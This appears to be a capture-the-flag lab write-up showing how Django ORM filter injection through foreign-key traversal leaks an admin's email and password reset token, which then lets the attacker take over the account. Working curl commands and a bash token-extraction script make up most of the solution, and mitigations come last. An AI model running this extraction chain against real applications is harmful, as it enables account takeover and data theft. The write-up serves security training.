Lab 387 — ChainArena — Django ORM Injection to Admin Takeover
Lab 387 — ChainArena — Django ORM Injection to Admin Takeover
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-07 | Status: Solved Techniques: admin_takeover, boolean_blind_extraction, contains_oracle, django_orm_filter_injection, foreign_key_traversal, password_reset_token_extraction, startswith_oracle
Summary
Task: Crypto-staked gaming platform with REST API that passes user JSON filters directly to Django ORM .filter() without field whitelisting. Solution: exploit Django ORM filter injection via foreign key traversal (Match → opponent → user → email_logs) to extract admin email, then password reset token, achieving full admin account takeover.
Lab 387 — ChainArena — Django ORM Injection to Admin Takeover — HackAdvisor
Description
ChainArena is a competitive crypto-staked gaming platform by ArenaLabs Inc. Players stake ETH on skill-based matches across multiple game modes, track their performance on leaderboards, and manage their wallets. The platform features user accounts with wallet balances, a match browser with filtering capabilities, leaderboards ranked by earnings, and an administrative backend for platform management. Your goal is to discover and exploit a vulnerability in the application that allows you to escalate your privileges and retrieve the flag from the admin panel.
English summary: A Django-based gaming platform with a REST API for filtering matches. The API accepts arbitrary JSON filters and passes them directly to Django's ORM .filter() method. The goal is to exploit this to extract admin credentials via password reset token leakage from the email_logs model, then access the admin panel to retrieve the flag.
Credentials: user@test.com / password123
Analysis
Reconnaissance
After logging in with provided credentials, the application exposes several features:
/— Dashboard with wallet balance and recent matches/matches/— Match browser with filtering/leaderboard/— Player rankings by earnings (reveals staff user "ArenaOps")/wallet/— Wallet management/admin/— Admin panel (requires admin privileges)/api/matches/filter— REST API endpoint for match filtering (mentioned in footer)/forgot-password— Password reset functionality
Important: HTML source contains decoy flags like FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} — these are fake honeypots designed to trap automated tools.
Identifying the Vulnerability
The /api/matches/filter endpoint accepts POST requests with JSON filters:
json read-only • copy allowed{"filters": {"field": "value"}}
Testing with invalid fields reveals available Match model fields from the error message:
completed_at,created_at,game_type,id,match_id,opponent,opponent_id,payout,player,player_id,region,stake_amount,status,winner,winner_id
Testing ORM lookups confirms Django ORM Filter Injection:
__contains,__startswith,__gtwork on Match fields- FK traversal:
player__id__gtworks player__emailis blocked, butopponent__user__email__startswithworks
This reveals that foreign key traversal to the User model is allowed through specific paths, enabling access to related models.
Data Model Relationships
The relationship chain to sensitive data:
Match → opponent (FK → Player) → user (FK → User) → email_logs (FK → EmailLog) → message
The email_logs model stores password reset emails containing reset tokens.
Solution
Step 1: Extract Admin Email
Using the leaderboard, we identify a staff user "ArenaOps". Use the boolean oracle to extract their email:
bash read-only • copy allowed# Test prefix curl -s -b "$COOKIES" -X POST "$TARGET/api/matches/filter" \ -H "Content-Type: application/json" \ -H "X-CSRFToken: $CSRF" \ -d '{"filters": {"opponent__user__email__startswith": "ops-"}}'
Character-by-character extraction reveals: ops-director@chainarena.gg
Step 2: Extract Admin Username
bash read-only • copy allowedcurl -s -b "$COOKIES" -X POST "$TARGET/api/matches/filter" \ -H "Content-Type: application/json" \ -H "X-CSRFToken: $CSRF" \ -d '{"filters": {"opponent__user__username__startswith": "arena"}}'
Extraction reveals: arena_ops
Step 3: Trigger Password Reset
Request a password reset for the admin account:
bash read-only • copy allowedcurl -X POST "$TARGET/forgot-password" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "email=ops-director@chainarena.gg"
This generates a password reset email stored in email_logs.
Step 4: Extract Password Reset Token
The email_logs model is accessible via FK traversal. Extract the reset token using __contains as a boolean oracle:
bash read-only • copy allowed#!/bin/bash # Token extraction script check_filter() { curl -s -b "$COOKIES" -X POST "$TARGET/api/matches/filter" \ -H "Content-Type: application/json" \ -H "X-CSRFToken: $CSRF" \ -d "$1" | grep -q '"total":[1-9]' } token="" charset="abcdefghijklmnopqrstuvwxyz0123456789" while true; do found=0 for c in $(echo $charset | fold -w1); do filter="{\"filters\": {\"opponent__user__email_logs__message__contains\": \"token=${token}${c}\"}}" if check_filter "$filter"; then token="${token}${c}" echo "[+] Token: $token" found=1 break fi done [ $found -eq 0 ] && break done echo "[*] Final token: $token"
Extracted token: x364mrkj1dyy9nxaldkfipgtaqbsv56a5lb9mpjvgpc
Also extract the uid parameter:
bash read-only • copy allowed# Filter: {"filters": {"opponent__user__email_logs__message__contains": "uid=1"}} # Result: uid=1
Step 5: Account Takeover
Use the extracted token and uid to reset the admin password:
bash read-only • copy allowedcurl -X POST "$TARGET/reset-password?token=x364mrkj1dyy9nxaldkfipgtaqbsv56a5lb9mpjvgpc&uid=1" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "password=newpassword123&confirm_password=newpassword123"
Step 6: Access Admin Panel
Login as arena_ops with the new password and navigate to /admin:
bash read-only • copy allowed# Login as admin curl -c admin_cookies.txt -X POST "$TARGET/login" \ -d "username=arena_ops&password=newpassword123" # Access admin panel curl -b admin_cookies.txt "$TARGET/admin"
The admin panel contains the flag.
Mitigation
- Whitelist allowed filter fields — never pass arbitrary user-supplied query parameters to Django's
.filter() - Use django-filter library which provides safe field whitelisting by default
- Restrict relationship traversal depth — do not allow
__chains across model boundaries - Do not store sensitive data like password reset tokens in queryable models — use separate secure storage or hash tokens
- Implement rate limiting on password reset endpoints
- Use short-lived, single-use password reset tokens
- Log and alert on suspicious filter patterns (e.g.,
__chains to sensitive models)